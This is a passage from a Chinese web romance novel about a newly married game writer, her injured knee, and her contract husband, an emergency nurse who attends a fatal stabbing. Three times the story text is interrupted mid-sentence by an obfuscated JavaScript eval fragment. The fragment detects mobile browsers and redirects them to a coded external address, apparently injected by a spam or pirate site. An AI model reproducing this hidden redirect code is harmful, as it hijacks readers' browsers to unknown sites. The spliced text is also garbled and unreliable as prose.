姜姜讲姜:「来了来了这就来了!」 发完消息,电梯正好开了。 下班时间,电梯里充满了人,看见姜抒晨,他们都尽力挤了挤,给她让出空来,尽管这个空位的存在感十分委婉。 放在平时,姜抒晨是不可能上有这么多人的电梯的,但是为了赶时间,她也没办法等下一趟。只好吸了一口气,豁出去似地挤了上去。 电梯吱呀吱呀地运作。 为了不和电梯门上倒映出来的她自己的脸羞耻对视,姜抒晨只能低下头盯着脚尖看。 脖子都快僵硬了,电梯才到一楼。 或许是众人都挤得受不了了,门一打开,后面的人就急着往外跑。 姜抒晨在最外面,又穿了高跟,被一推,轻易就失了平衡,整个人向前扑倒,摔在了电梯门外。 她膝盖着地,骨骼和冰凉坚硬的地砖相撞,痛得她出了一身冷汗。 后面的人经过她身边,鱼贯而出。 姜抒晨趴在地上,因为丢人丢大发了而不敢爬起来,忽听见上方有人关切地问:“你没事吧?” 姜抒晨双手撑地,支起了上半身。 挡在脸上的头发滑落下来,露出了她那张白皙的脸。视线里,一个西装革履的高大男人正弯下腰看着她。 他约莫三十五岁,一看就是公司里有头有脸的人物。 姜抒晨连忙摇头,“我没事。” 说着,她就要爬起来,却被男人的手一把扶住了。 站起来之后,两人的高度差瞬间缩小。 因为丢人,她的两颊泛着娇嫩的绯;方才疼得狠了,她的眼睛里渗出了点生理性泪水,此刻,眼角还是湿漉漉的。 男人看着她的脸,有一秒钟的恍神,抓着她胳膊的手一时没有拿开。 姜抒晨着急去找许馨吃饭,礼貌地收回自己的胳膊,不好意思地笑了笑,道:“谢谢您。” 她一瘸一拐地向公司大门走去,留下男人在她身后注视着她的背影,眼眸中的黑加重了几分。 紧赶慢赶,姜抒晨到餐厅的时候还是迟到了几分钟。 许馨已经在座位上坐着了。她一身小香风粗呢套装,美甲做得极长,正拿着个三星ZFlip4在对着屏幕戳戳戳。 一看见姜抒晨过来,她就放下手机,端正坐姿,急切地问:“快告诉我,到底是什么事让你要喊我救大命?” 姜抒晨喘着气把包摘下来丢在座位上,然后拿起桌上的柠檬水一口气喝了半杯,然后说:“我觉得我说出来你会认为我疯了。” 许馨拍着桌面,眼神里都是威胁,“我劝你最好立刻告诉我。” 姜抒晨伏在桌上凑近许馨,说:“我结婚了。” 许馨挑了挑眉。 下一秒,她跳了起来,“哦莫?!!” 她的反应太夸张,周围几桌的人都向她这边看了过来。 许馨捂着嘴,但这并不能遮盖她那双快把眼珠子给瞪出来的眼睛。 “什么时候?”她不可置信地打量着姜抒晨,“你不是独身主义吗?而且你这才……大学毕业,就成人妻了?!你是不是给人PUA了?” 她的问题太多,姜抒晨不知从哪一个开始回答,索性不回答了。 “我饿死了,”她扫了桌角的二维码,“我们先点吃的再细说。” 许馨直接坐到了姜抒晨这边,胡乱在屏幕上点了几个菜,然后叹道:“姜抒晨你个老六。” 姜抒晨认真地选了许馨最喜欢的咖喱炖时蔬,说:“说来话长。主要是我父母那边催得太紧。我真不知道他俩作为高校老师,怎么还和老古董一样。” 许馨:“父母辈开明的能有几个,别说高校老师了,就是老留学生,也有很多保守的人啊。” 姜抒晨点好了菜,把商业合作般的婚姻的来龙去脉给许馨讲了一遍。 许馨总算是收起了夸张的表情。 她想了想,不放心地问:“对方真的很好吗?现在的男的基本都是普信男。” “放心吧,我没有和普信男结婚。”姜抒晨笑道,言语间有些难以察觉的自信。 许馨伸长了脖子:“有照片吗?我看看。” 姜抒晨去拿手机的动作顿了一拍。 她好像并没有段逸的照片,无论是偷拍还是证件照,什么都没有。 两人从认识不过三天,互相都来不及发照片。 许馨看她神色不对,补刀:“不会连照片都没有吧?” 这一下反倒让姜抒晨想起来了,她和段逸虽然没有自拍,也没有生活照,但是他们有结婚证啊! 她低头从包里拿出了今天刚领的结婚证,递给许馨。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829874|158913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >许馨接下来打开,仔仔细细地看了一遍,不自觉地露出了姨母笑。 “草……他长得好好看啊。” 姜抒晨把结婚证拿回来,看着屏幕上的照片,说:“虽然很好看,可是我对他没有一点想法。现在我们是纯纯合作伙伴。” 许馨眼神里带着调皮:“合作伙伴也是可以升级的嘛。” 姜抒晨摆手,“你可别埋汰我了。他是医科大学附属第一医院急诊科的护士,工作很忙的,哪有时间升级?” “确实欸,”许馨叹了口气,“一院可太牛了。” 姜抒晨点头附和。 许馨眸光一闪,“好多年前有个震惊全国的医闹案不就是一院的嘛?” 姜抒晨想起了什么,道:“我好像有点印象,凶手手段特别残忍,是不是在医院大厅当着好多人面行凶的那个?现场好多目击者,可恐怖了。” 许馨点头。 氛围一时间有些沉重,好在服务员及时上菜,给了姜抒晨转换话题的机会。 “你最近怎么样?”姜抒晨看着许馨妆容精致的脸,“毕业三个多月了,这是我们第一次见面。” “阿姜啊,你是真的很关心我。”许馨舀了一大勺咖喱拌进米饭里,吃了一大口,满足地说,“品牌运营得挺顺利的,前不久刚拿了天使轮。正在考虑开个实体店,但是女装行业竞争超级激烈,我也不确定该不该开。” 姜抒晨赞赏地笑笑:“还得是wuli馨馨子。” “对于女人来说,经济独立比什么都重要。”许馨说,“你也要好好加油,早点当上制作人,策划一个爆款游戏,到时候我们来一个联名,赚双倍钱。” 姜抒晨笑:“你想得真远。” * 今晚段逸不当值,他本想回家休息,但段清朗的电话源源不断地打进来,他料他肯定是在问他和姜抒晨的进展,于是直接开车去了段清朗的别墅。 果不其然,一进门,就被段清朗追问:“这都几天过去了,你们是打算相处试试还是看不对眼,应该和我说一声,怎么什么声儿都没有?到底是个什么情况?要不要我再给你介绍介绍……” 段逸拿出鲜红的结婚证,放到了段清朗脸上,“我们已经结婚了。” 段清朗被呛到了,捂着胸口咳嗽了起来,惊动了保姆。 保姆匆忙跑出来,急着去扶段清朗,目光扫过段逸手上的结婚证,她也呆愣住了。 “以后我和姜抒晨的事就是我们夫妻自己的事,您作为长辈就不必过问了。”段逸收回结婚证,冷冷地说道。 段清朗被保姆扶着坐到了沙发上,见段逸正要推门离开,他忙叫住了他。 段逸回过身来,“什么事?” 段清朗的语气有些沧桑,“既然结婚了,你就好好地过日子,把那些该忘的都忘了吧。十几年了,我曾经希望你出人头地,希望你事业有成,但最后我唯一的希望就是你能开心。” 段逸喉结滚动,说:“您是早忘了。可我做不到。” 说完,他摔上门出去。 保姆和段清朗面面相觑了一会儿,宽慰道:“总有一天他会理解您的。” 段清朗摇了摇头,端起了茶杯。 8. 是你躲不过08 第二天起床,换衣服的时候姜抒晨注意到自己的膝盖青紫一大片,已经肿了起来。她站起来走了几步,虽然很痛但勉强能走。 考虑到海量的工作,姜抒晨还是打消了去医院的念头。 这点小伤应该很快就会自愈。 不过,因为膝盖肿了,穿裤袜会勒得很痛,她便把昨天选好的小裙子塞回了衣柜,随手扯了一条宽松的牛仔裤套上,上面搭了一件灰色的卫衣。 站到镜子前照了照,莫名有种美式复古的感觉。 她梳洗完,照例在地铁站前面买了份手抓饼,然后挤地铁去公司。 晃了一路,本来还能忽略的痛感陡然放大,等走进公司的大厅,她的额头已经出了一层薄汗。 看了眼手机,时间尚早,姜抒晨便姿势别扭地挪到了休息区,打算在楼下吃完早餐休息一下再上楼。 这个点有不少人在休息区吃早餐,姜抒晨一下子还真找不到空着的位置。 她的目光在这一片扫了几个来回,有个人站起来,向她招了招手。 姜抒晨先是四下里看了看,确定他是在向自己招手,然后才想起来这个人正是昨天她在电梯门口摔倒时扶了她一把的男人。 姜抒晨犹疑着,见那人又坐下,指了指对面的空位。 和陌生男人面对面吃饭想想都要了狗命了,而且对方说不准是个大领导。 但膝盖实在是疼得厉害,姜抒晨还是顶不住,走过去坐了下来。 “您好。”姜抒晨恭恭敬敬地点头致意,“谢谢您。” 对面的男人气质儒雅,丝毫没有中年男的油腻。他看着姜抒晨脖子上挂着的工卡,念出了她的名字:“姜、抒、晨?” 姜抒晨看向胸前的工牌,忙把印着照片的那一面翻过去,“对,我叫姜抒晨。” “你照片很好看啊。”男人说道,“为什么要藏起来?” 姜抒晨拿着手抓饼,一时有点不知如何应对。 那人一笑,“我叫盛舟,是《荒野》制作组的。” “《荒野》?”姜抒晨神色一变,“是我们公司主推的那个生存模拟游戏么?” 盛舟点头,“没错。” 姜抒晨崇拜地说:“太厉害了,听说这个游戏预算超多,是纳美的下一个爆款。” “倒也没那么夸张。”男人放下咖啡杯,“算是稳定发挥吧。” 姜抒晨保持着微笑,因为无所适从而浑身僵硬。 她低头吃着手抓饼,冷不防被盛舟提问:“你是昨天摔伤了吗?走路好像有点费劲?” 姜抒晨猛地抬头,否认道:“不是的不是的。” “可我明明有看到。”盛舟丝毫不相信她的话,“真的不用去医院吗?万一有严重的问题,这样拖着会耽误治疗吧?” “啊不会的。”姜抒晨把剩下的手抓饼都塞进嘴里,急着站起来,“我吃完了,先上楼了。” 膝盖处传来一阵刺骨的钝痛,她腿上一软,踉跄着向前扑过去,幸而及时扶了把椅背才免于在这么多人面前“五体投地”。 盛舟紧跟着站起来,责备似地看她,“看起来你很喜欢逞强啊。” 姜抒晨回过头,勉强笑了笑,“腿麻了而已。” 她想赶紧从这地方跑路,不必和陌生人掰扯,谁料盛舟竟不打算轻易让她走,而是向她伸出了手,“正好我今天上午没有安排,送你去医院吧,拍个片子排除一下风险。” “真的不用。”姜抒晨连连后退,“都是小问题。” 虽然很感谢他的关心,但是这人也太热情了…… “自己的身体怎么能是小问题呢?”盛舟说着,直接上前扶住她就要向外走。 被陌生人突然靠近,姜抒晨很不自在。她推开他的胳膊,说:“可是我没有请假。” “去急诊是不需要提前请假的。”盛舟说道,“毕竟是紧急情况。” 姜抒晨:“是吗?” “你肯定没有好好看新人手册。”盛舟替她推开了门,“上面明确写了请假的各种场景和条件。” 门外的风吹进来,姜抒晨发热的脑子降温了不少。 她在出门前的几秒里仔细思索了一下,决定还是去医院看一看。 既然可以请假,那不请白不请。 她带伤上阵,纳美又不可能体恤她,给她发个特别贡献奖,到头来亏的可是她自己。 于是姜抒晨拖着腿,跟着盛舟出了门。 盛舟:“我开车送你过去。” “您迟到没关系的吗?”姜抒晨问。 “没关系的。”盛舟朝她眨了眨眼,“我是那种你懂的岗位。” 姜抒晨惊了一下:“所以您是管理层那种?” 盛舟:“差不多。” 姜抒晨颤颤巍巍地坐上了车。 离纳美总部最近的医院就是医科大学附属第一医院的经开区院区了,开车几分钟的时间,他们就到了医院楼下。 在进急诊大楼的瞬间,姜抒晨猛然想到—— 这不是段逸工作的地方吗? “怎么不走了?”盛舟停下来,看向她。 姜抒晨忙跛着跟上了他。 挂完号,她在等候区忐忑不安地坐着。 手机上,她和段逸的聊天记录还停留在刚认识那天的几句客套话上,再无下文。 身边,盛舟饶有兴致地和她搭话:“你是实习生还是?” 姜抒晨心不在焉地回答:“我在试用期。” “应届生吧?看着很年轻。” “今年刚毕业。” “能进纳美一定是非常优秀的毕业生了。”盛舟由衷地赞叹着,话题自然地一转,“你在哪个组工作?” 姜抒晨低头摸了摸胸前的工卡,说:“《光·影》制作组。” 盛舟笑了两声,“你们主策是周晚吟带出来的,她和小周一样,是个追求卓越的制作人。在她组里工作,你能学到很多。” 姜抒晨应着,“这样吗,我还是第一次听说。” “但是《光·影》的工作量恐怕不小,按照主策的龟毛程度,工作强度也不可能低。”盛舟叹了一句,“难怪你都不愿意来医院。” 姜抒晨摆了下手,“也还好。我是新人嘛,大家刚开始的时候都是这样吧。” “1157号,姜抒晨,请去1号诊室就诊。”走廊里,女声机械地播报着。 姜抒晨站起来,盛舟跟在她身后,两人一前一后进了诊室。 医生卷起了姜抒晨的裤腿,露出她红肿的膝盖,边问她怎么回事边触诊。 姜抒晨正要回答,盛舟抢在她之前开口:“昨天傍晚摔了一跤,膝盖着地。要不是我让她来,还不知道要拖到什么时候,说不准就不来了。” 医生戳了戳姜抒晨的膝盖,“你男朋友真是关心你呢。” 姜抒晨像是听到了不得了的东西,整个人被烫了似的一抖,“不不不,他不是我男朋友。是我领导。” “王主任,刚才送过来的患者已经检查完了,这是……”诊室的门被推开,一个高大的身影逆光而来。 姜抒晨抬起头,与他对视。 视线相撞的同时,他的声音戛然而止。 来人戴着口罩,一身白大褂,脚上踩着厚底的拖鞋,倚着门站着,显露出很重的疲态。 姜抒晨只能看见他露在外面的眼睛,但是只看这双眼睛,她也能认出他的主人。 深邃的眸光被睫毛投下的阴影模糊,眼皮很薄,线条干净又流畅。 “段……” “这是片子和报告。”段逸挪开视线,直起腰,把文件袋放到了医生的桌上,“教授还没出来,只能拜托您帮忙看看了。” 姜抒晨咬了咬唇,没再出声。 段逸转身往外走,白大褂的衣角随着他的走动而飞扬起来,好看得不像话。 门被轻轻地关上了。 室内只剩下医生敲键盘的劈里啪啦声。 “没什么大事,实在不放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829875|158913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心可以拍个片子。”医生道,“我再给你开点消炎药和止痛药。” 姜抒晨一直想着方才段逸的身影,医生说了什么都进不去脑子。 这边单子刚打印完,她就光速放下裤腿,刷地站了起来,拔腿就往外走。 盛舟在后面大步追上她,“你去哪儿?” 姜抒晨回过神,轻扶了一下额头,说,“很抱歉耽误您时间了,您快先请回。” 她说着话,眼神却飘飘忽忽地四处张望。 “你在找什么?” 姜抒晨勾了勾唇角,扯出一个很客气的笑:“我在找拍片子的地方,之后我还得去药房拿药。要耽误很久,就不麻烦您了。” 末了,她又鞠了一躬,“再见,盛先生。” 盛舟想再说什么,然而转眼间,姜抒晨就汇入了急诊大厅的人流里。 姜抒晨忍着疼快步来到了楼梯转角。 确认盛舟没有跟过来以后,她掏出手机,给段逸发了条微信。 姜姜讲姜:「段老师,您别误会。」 发出去之后,她捧着手机等了一会儿,得不到段逸的回复。 她又追加了一条:「我不小心摔伤了,是我领导执意要送我过来。」 段逸那边还是没有回复。 等消息的这几分钟里,姜抒晨反反复复地回想段逸推门进来的场景,回味他的眼神里究竟有没有透露出什么信息。 他会生气吗,看到她和陌生男人有很近的距离。 会不会感觉很失望,昨天才领证,今天就连表面功夫也不做了。 姜抒晨后悔得想冲回一个小时前扇死自己。 早知道就不跟着盛舟过来了。 她真是给自己找了个大麻烦。她本来可以在公司就态度强硬地拒绝帮助,偏偏拉不下脸了,硬是拉扯到了医院,和段逸撞个正着。 姜抒晨,你糊涂啊。 内心挣扎了好久,段逸还是没回消息。 姜抒晨有点等不及了,她一咬牙,直接给段逸拨了电话。 办公室里,段逸伏案写病历,护士长叫了他一声:“小段,手机。” 他抬头,见护士长正站在门口指了指门边墙上挂着的大衣。 段逸皱着眉走过去,心说是什么人这个点给他打电话。 看见屏幕上姜抒晨的微信头像,他表情松弛了些许,接起了电话:“小姜,什么事找我?” 姜抒晨打这通电话,对段逸接听不抱希望,所以没有认真构思措辞。 他工作那么忙,肯定不会有时间接。但没想到,他真的接了。 听见他的声音,姜抒晨呼吸一凝。 “我刚才看见你的膝盖受伤了,”段逸问,“我刚才看见你的膝盖受伤了,怎么不早点和我说?跑这一趟,得浪费多少时间?” “啊……”姜抒晨背靠着墙,抬头盯着天花板缓解尴尬,“那个,我想解释一下,刚才诊室里那个是我领导。我怕你看了觉得我……” “不用这么草木皆兵。”段逸说,“我们是形式婚姻,你和其他人有任何关系都是你的自由,我无权干涉。” “可是,”姜抒晨说,“你说过忠诚是婚姻重要的因素。” “那是我对我自己的要求。”段逸笑道,“我可以要求我自己,但我不能要求别人。” 姜抒晨被他这话噎了一下。 明明已经知道他不会生气甚至根本不会在乎,可她不仅没能轻松起来,反而感到加倍的怏然。 “如果还有需要帮助的地方你可以来找我。”段逸说道,“虽然我不是医生,但基础医学知识我还是具备的。” 电话那边传来中年女性的声音:“小段,接到了急救电话,赶紧收拾下。” 姜抒晨想关照几句,但段逸不给她讲话的时间,急促地说:“护士长找,我得先挂了,今天见到你很高兴。” 话音刚落,听筒里就“嘟”的一声。 姜抒晨握着手机,莫名感到一阵怅然若失。 9. 是你躲不过09 “快快快,就在楼上!”主任带头冲在前面,向身后的小分队挥了挥手。 段逸和同事们快步上楼,还没迈进门,就闻见浓重的血腥味。 进了家门,血味就更浓了,即使戴了口罩,鼻腔里也像是被血灌满。 从规培时期起至今,他在急诊待了也有五六年,见过各种场面,所以进门之后他连鼻子都没皱一下。 面对屋子一角跪坐在地吓成烂泥一样的男的,他冷静地问:“你是家属?患者人在哪里?” 那男人泣不成声地说:“卧、卧室。” 段逸目光一转,走进了客厅边上的房间。 室内的地板上流淌着血液,鲜红刺目,房间的墙上也飞溅上血液。 床边软绵绵地躺着一个女人,她的脖子上被人划开了一道口子,里面仍在源源不断地向外流着血,把她的睡衣完全浸湿了。 而她身边的血泊里,泡着一把菜刀。 新来的实习生受不了这场面,直接弯下腰捂着嘴干呕起来。 段逸眉头紧了一紧,“目测是动脉破裂,先包扎止血,别动头。” 几个人当场开始工作,室外,警笛声呼啸而至。 不出一分钟,警察就到了现场。 客厅里开始有了纷杂的人声。 “怎么这么多血?” “怎么回事?” “我和婆娘吵架,气得不行,一个激动,就……就……谁知道她都不躲的……”男人支支吾吾地解释着。 段逸有意无意地听着,额角青筋微微凸起。 包扎好伤口,他们将女主人小心翼翼地移上担架,穿过客厅,走向门外。 救护车上,众人面色都不大好看。 女人的心跳已经停了,血压也很低,是典型的失血性休克。 段逸负责给她做心肺复苏,另一边,护士们则在紧急给血袋加温,准备输血。 他费力地按着女人的胸膛,紧盯着边上仪器显示的数值。 经过几组按压,屏幕上还是毫无变化。 他的呼吸变得粗重起来,额头和后背在疯狂冒汗,衣服紧紧地粘在身上。呼出的气体和汗水将口罩也打湿,用作隔离的口罩像蘸湿的黄表纸一样,让他呼吸不畅。 这一番操作下来,段逸的头发都湿了。 一直在段逸边上看着的实习护士察觉出不对,忙出声提醒:“段老师,您休息一下,换我来吧。” 段逸像是没有听见似地,对护士指示道:“除颤仪。” 护士不敢忤逆,就算感觉不对,也还是照做了。 被汗水蒸腾出的热气模糊的视线里,女人灰败的脸伴随着他的动作上下地起伏着,人就像木偶似的,任由机器摆动。 他不知疲倦地、反反复复地操作着,连膀臂都酸麻到失去了知觉。 “段逸!”随车的主任高声喝道,“别做了,你没看见数据都不动吗?” 段逸眸子一震,如梦初醒。 小护士连忙去扶他坐下。 他剧烈地喘息着,可不敢摘下口罩。 他都不知道自己现在会是一副什么样的表情。 “患者心脏停跳的时间太久了。”医生说道。 其实他还有半句话没说,但不用他说完,监视器上拉出的几条直线已经说明了一切。在座各位都明白他的意思。 众人低着头,一阵难挨的沉默在车内弥漫。 段逸看着自己满手的血迹,像是要把它们毁尸灭迹一般,握紧了拳头。血被收进了手心里,看不见了。 救护车一路疾驰,几分钟就赶到了医院。 尽管众人能期待的只有神迹,但大家还是把患者送进了急救室。 然而,尽管每一个人都竭尽全力,奇迹却并未降临。女人和边上的仪器一样安静,沉默,一动不动。 医生宣布了患者死亡。 几个护士走过来给死者盖上了一层白布。 段逸看着她被推出去,卸力似地,踉跄着走到了急救室外。 手上的血迹已经完全干涸了,他动一动手,干了的血块就碎屑似地往下掉。 “段老师。”新来的小护士跟上他,“您是不是太累了?” 段逸摇了摇头。 “急诊死亡的患者应该不多吧?”小护士问,“您看起来有点……” “很多。”段逸很干脆地回答。 护士轻轻地“啊”了一声,不掩惊讶。 “我见过车祸人被碾碎的,喝了百草枯的,从十九层坠楼的,还有今天这位,”段逸的视线飘向了人来人往的急诊大厅,“死亡的患者比你想的多得多。” 小护士的目光里平添了几许失落。 “急诊没有你想得那么神。”段逸垂下头,“只不过是人类想方设法挽救同类的地方。” 办公室到了,小护士和段逸打了声招呼走了。他关上门,将外面的喧嚣都拒之门外。耳边终于彻底安静。 他摘下口罩,大口地呼吸着干净的空气,然后快步走到洗手池前,把水流开到最大,冲洗手上的血。 再抬头,镜子里的自己双目发红,半湿的头发在轻轻发着颤。 他按着太阳穴,摔坐进沙发里。 一路在流淌的血、脖子上的伤痕、灰败的皮肤和漫天的风雪,在脑海中倔强地闪回。 “小段,”护士长推门进来,看见段逸在沙发上仰着头掐紧眉心,不由自主地放缓了语气,“你之前和我说的换班我给你换好了。” 段逸起身,转换了一副冷静从容的神色,“谢谢护士长。” “国庆都给你空出来,但是这几天就是连轴转。”护士长不无担忧地问,“身体吃得消吗?” “我没关系的。”段逸淡淡地笑了笑,“谢谢您关心。” 护士长:“你来医院好几年了,还是第一次要调休呢。国庆是有什么特别的打算吗?”问完,她又喃喃自语似地说:“该不会是处对象了吧?” 段逸双手插兜站定,说:“我是打算拼个长假好好休几天,顺便出去散散心。” 护士长眼神里藏不住慈爱,“也是,整个科室就属你最拼。人不能总绷着,时间久了会出问题的。” 等护士长出去,段逸缓缓坐到了桌前。 他把玩着放在桌上的裁纸刀,指腹无意识地划过薄薄的刀片。他自嘲地想,原来自己已经紧绷到了外人能看出来的程度吗? * 姜抒晨赶回公司,已经快到午休时间。 好在盛舟说的是实话,拿着急诊科给开的单子,组长那边也没苛责她,还关照她好好养伤。 新的一周,距离长假又近了一些,办公室里已经可以嗅出节前的浮躁了。 苏晓婷正在和几个同事说她搞到了环球乐园的快速通行证,保证到时候让大家都玩个爽。 她不说倒还好,这一说,姜抒晨又想起了段逸。 去领证那天,回来的路上她和他提了一嘴希望他能来环球乐园一起玩,问他有没有空,他的回答是可以有,也就是说,他本来是没空的。 假如要喊他出来,意味着他得为了她调整日程。 但今天上午发生了引人误会的事,段逸的态度又很平淡,给她一种他们之间完全是陌生人的距离感,让她不知道应不应该再和他提起需要他出面的事。 身后坐着的一排同事讨论得热火朝天,还有人提到了她的名字。 姜抒晨懊恼地抓了一把头发。 她就不该图省事儿搬出有男朋友了这种说辞来绝了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829876|158913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏晓婷要给她介绍对象的念想。这是她职场上的事儿,无论如何都不该把段逸牵扯进来。 要不然直接和苏晓婷说她分手了算了…… 但是这样会显得她很奇怪,昨天才说刚开始交往,今天就说分手,肯定会被人议论是不是海王。 她叹了一口气,打开了昨天没改完的剧本,打算转移一下注意力。 苏晓婷转过椅子,看见她来了,露出了灿烂的笑容:“哦,小姜你来啦。” “苏姐好。” “我真的好好奇你男朋友啊,”苏晓婷凑过来,“他是做什么的?” 姜抒晨内心叫苦,可脸上维持着很礼貌的笑,“在医院上班。” “那肯定很有钱了!”苏晓婷捂了捂嘴,“你怎么认识的?是不是去医院看病结果看上医生了?一般都是这种剧情来着。” “……” 姜抒晨觉得还是不解释的好。 “对了,你千万要盯好他。尤其要当心年轻的小护士。听说医生护士还有药代的关系都挺乱的值夜班的时候特别容易那啥,你懂吧?”苏晓婷挤着眼睛,说道。 姜抒晨敷衍地问道:“是吗?” “对呀,你不知道吗?哎呀你苏姐比你年长这么多岁,看到很多你看不到的事情。”苏晓婷说道,“医生头婚都是同学,二婚是年轻貌美小护士,三婚是成熟性感的药代。业内规律。” 姜抒晨顿了顿,“这样吗?” 苏晓婷拍拍她的肩,“不过也不一定。我老公不是开酒吧的吗,之前听说他这一行也很乱,但是我老公就超爱我,对我非常专一。所以别太担心,还是分人啦。” 姜抒晨嘴角抽了抽,道:“谢谢苏姐。” “小姜!”吴悦妮站起来向姜抒晨招了招手,“外卖到了吗?” 姜抒晨忙答:“到了到了。” 顺利从苏晓婷边上逃出来,姜抒晨和组长一起来到楼下。 取餐后,两人一起往餐吧走去。 肩膀忽地被人拍了一把,姜抒晨抬头看去,盛舟正向她微笑招手。 出于基本礼节,姜抒晨还是向他点头致意。 吴悦妮:“你认识他?” 姜抒晨:“刚认识。” 吴悦妮脸上带了点小雀跃,“他超受欢迎的,是我们社里有名的制作人。好多小姑娘冲着他给《荒野》制作组投简历。” 姜抒晨回头看盛舟的背影,又看向吴悦妮:“啊?” “你不觉得他很帅吗?就是那种成熟男人的魅力。而且他很绅士,好多人暗恋他的。” 吴悦妮比姜抒晨大了好几岁,此刻却像个大学生一样,举手投足之间都是少女心。 姜抒晨抓了抓头发。 难道她判断失误了么?可她真的感觉他身上有种让人不舒服的气质…… 算了,反正以后也不会有什么交集,管他的。 “还有几天就放假了,”吴悦妮在桌上放下外卖,“我真是一天班也不想上了,好累。” 姜抒晨苦笑。 对别人来说,这几天只要焦灼地等待快乐假期的就好了。对她来说,却很折磨,因为她还没想好到底怎么和段逸提。 她索然无味地吃着鸡块,手指遵从潜意识点开了段逸的微信。 看着简洁的对话,姜抒晨心想,早死早超生。 于是她敲了一条消息:「段老师,之前说过的环球乐园你有时间去吗?」 为了表示她的无可奈何,她补了一句解释:「我同事非要给我介绍对象,我不想认识新人,就只好说自己有男朋友。如果你有时间的话帮忙演一下就太好了。」 发完消息,她把段逸的消息设置成免打扰,然后把对话框隐藏,最后掐灭手机,把它直接揣进了兜里。 10. 是你躲不过10 吃完午饭,姜抒晨在工位上趴着休息了一会儿,然后被一点半的闹钟吵醒,于是她挣扎着爬起来看今天剩下的安排。 《光·影》的主线还在创作阶段,但人物和世界观还是主策说了算,剧情策划组只负责根据主策的想法来办事。而姜抒晨这样的新人就更卑微了,话语权四舍五入就是不存在,手里堆满了边角料工作,比如修剧本、改台词,找bug。 不过她今天的任务和之前相比,稍微有一点乐趣,那就是创作一个边缘小人物的小传和台词,作为主剧情以外的延申支线,丰富游戏任务。 这是个主打陪伴的游戏,玩家需要扮演迷雾中的孤独旅人,寻找传说中存在的宝藏,在旅途中领略美景,结识不同的伙伴。因此,剧本里的人物不下数百个。 就算是拿到了微不足道的NPC剧本,姜抒晨也很满足了,至少能在游戏主线打完的片尾制作组名单里署个名,比现在这样当不留名的工具人要好得多。 她点开MindManager,复盘起以前自己根据游戏世界观设定做的思维导图,复习了一下主剧情的走向。 随后,她找准了一个切入点,开始在word里写文档。 写写停停,一个下午就过去了。 窗外日渐向晚,办公区开了灯,将她笼罩进一片冷色调的清辉里。 坐了一个下午,姜抒晨腰背酸痛,便站起来活动了几下身体。 “写得怎么样?”吴悦妮也站了起来,笑着问姜抒晨,“我看你整个下午都在敲键盘。” 姜抒晨一笑,转了转脖子,说:“还行,比想象得要顺利。” 吴悦妮拎起包,“你打算加班吗?” 姜抒晨犹豫着说:“我再写一会儿。” “哎呀,写什么写!”吴悦妮催促道,“一起走吧,反正这文档又不着急,国庆之后才要么不是?” “好像是。” 姜抒晨坐了下来,保存了工作进度,关掉电脑,拿上手机,和吴悦妮一道闪人。 习惯性地摁亮手机,姜抒晨陡然顿住了手。 她中午给段逸发了消息询问国庆假期能否请他以男朋友的身份来趟环球乐园,因为不敢看他的回复而把他给消息免打扰了。 一个下午过去,他要是想回复,肯定早就回复了。 也就是说,现在微信里十有八.九有段逸的小红点。 姜抒晨推测了一下段逸的想法,觉得他不大有可能真的答应她的请求,打乱自己的计划来给她解决这种小问题。 被拒绝倒也无妨,但姜抒晨还是有点抗拒直接看到这条消息。她的指尖悬在了微信图标上,没有落下去。 “电梯来了。”吴悦妮抓住她的手腕,带着她往开门的电梯那边小跑着过去。 手上一动,微信就被点开了。 姜抒晨在电梯里站定,才发现手机上正显示着微信页面。 段逸的消息光明正大地在前排显示。 Dyyyyy:「举手之劳。提前告诉我具体时间就好。」 这回复属实超出了姜抒晨的预料。 她忍不住嘴角上扬,在对话框里敲了一句:“段老师我的超人!” 没错,她在现实里唯唯诺诺不敢发言,可在网上就不一样了。姜抒晨冲浪的时候是一点不带包袱,就算对面是段逸,她也能玩梗。 瞧见她上翘的嘴角,吴悦妮坏笑着问:“哟,什么事这么高兴?” 姜抒晨立刻恢复了面瘫脸,随口扯道:“我的小裙子尾款开放了,等了好久的。” 吴悦妮扯扯她的卫衣帽子,笑道:“你穿地球人也非常合适,难得你没穿小裙子,我竟然一点都不觉得违和。” 姜抒晨尬笑,“哈哈”了一声应付过去。 * “你小子,见你一面真难啊。”京医大附属第一医院经开院区对面的咖啡店里,一个看上去比段逸稍稍年长的男人接下段逸端过来的拿铁,打趣地说道。 “我这不是忙嘛?”段逸坐下来,抱歉地笑笑,“林烨然,你是我的亲学长,就不能对学弟宽容点么?” 林烨然喝了口咖啡,望向窗外的来往的车辆,“最近怎么突然这么忙?只有午休时间能出来偷个闲也太惨了。” 段逸耸耸肩,语气轻松,“为了调休。” 